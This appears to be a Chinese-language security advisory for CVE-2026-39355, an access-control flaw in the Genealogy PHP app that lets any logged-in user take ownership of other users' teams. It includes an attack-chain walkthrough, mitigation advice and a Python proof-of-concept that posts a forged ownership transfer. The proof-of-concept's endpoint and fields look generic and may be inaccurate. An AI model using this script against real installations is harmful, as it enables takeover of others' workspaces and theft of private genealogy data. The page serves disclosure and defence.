CVE-2026-39355 CVSS 9.9 严重

CVE-2026-39355 Genealogy越权漏洞

披露日期: 2026-04-07

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-39355

漏洞类型

访问控制失效

CVSS评分

9.9 严重

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

Genealogy

漏洞概述

Genealogy是一款家谱PHP应用程序。在5.9.1版本之前，该应用存在严重的访问控制失效漏洞。由于缺乏有效的权限校验，任何经过身份认证的低权限用户均可利用该漏洞，将任意非个人团队的所有权转移给自己。这导致攻击者能够完全接管其他用户的团队工作空间，并无限制地访问与受感染团队相关的所有敏感家谱数据。该漏洞在5.9.1版本中已得到修复。

技术细节

该漏洞属于典型的越权漏洞（IDOR），具体表现为业务逻辑层面的访问控制失效。应用程序在处理团队所有权转移的接口时，仅验证了用户是否登录（身份认证），而未验证当前用户是否对目标团队拥有管理权限（授权检查）。攻击者首先获取一个普通用户账户，然后通过遍历团队ID或猜测ID，向服务器发送包含目标团队ID和自身用户ID的转移请求。服务器因缺少权限校验逻辑，直接执行了转移操作。这使得攻击者能够绕过正常的权限体系，非法获取其他用户私有数据的控制权，造成严重的数据泄露风险。此类漏洞通常出现在直接对象引用场景中，修复的核心在于实施严格的权限检查机制，确保当前用户有权对目标资源执行特定操作。

攻击链分析

STEP 1

1. 获取凭证

攻击者注册一个普通用户账户或使用已有的低权限账户登录系统，获取有效的Session或Token。

STEP 2

2. 侦察目标

攻击者通过应用功能或URL参数枚举，确定想要攻击的团队ID（Team ID）。

STEP 3

3. 构造请求

攻击者构造一个恶意的HTTP POST请求，指向团队所有权转移接口，并在请求体中将目标团队ID的所有权变更为自己的用户ID。

STEP 4

4. 执行攻击

服务器接收请求，由于存在访问控制缺陷，未校验攻击者是否为原团队管理员，直接执行所有权转移操作。

STEP 5

5. 数据接管

攻击者成功获得目标团队的管理员权限，访问并窃取所有敏感的家谱数据。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target configuration
target_url = "http://example.com/api/teams/transfer"
attacker_session_cookie = "valid_attacker_session_token"

# Attacker and Target IDs
attacker_user_id = "attacker_123"
target_team_id = "victim_team_456"  # ID of the team to takeover

# Headers
headers = {
    "Content-Type": "application/json",
    "Cookie": f"session={attacker_session_cookie}"
}

# Malicious payload to transfer ownership
payload = {
    "team_id": target_team_id,
    "new_owner_id": attacker_user_id
}

try:
    # Send the malicious request
    response = requests.post(target_url, json=payload, headers=headers)

    if response.status_code == 200:
        print("[+] Exploit successful! Team ownership transferred.")
        print(f"[+] Response: {response.text}")
    else:
        print(f"[-] Exploit failed. Status code: {response.status_code}")
        print(f"[-] Response: {response.text}")

except Exception as e:
    print(f"[!] An error occurred: {e}")

影响范围

Genealogy < 5.9.1

防御指南

临时缓解措施

如果无法立即升级，建议暂时禁用团队所有权转移功能，或者在应用网关层添加规则，拦截包含非本人用户ID的转移请求。同时，应加强对敏感操作的二次验证机制。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表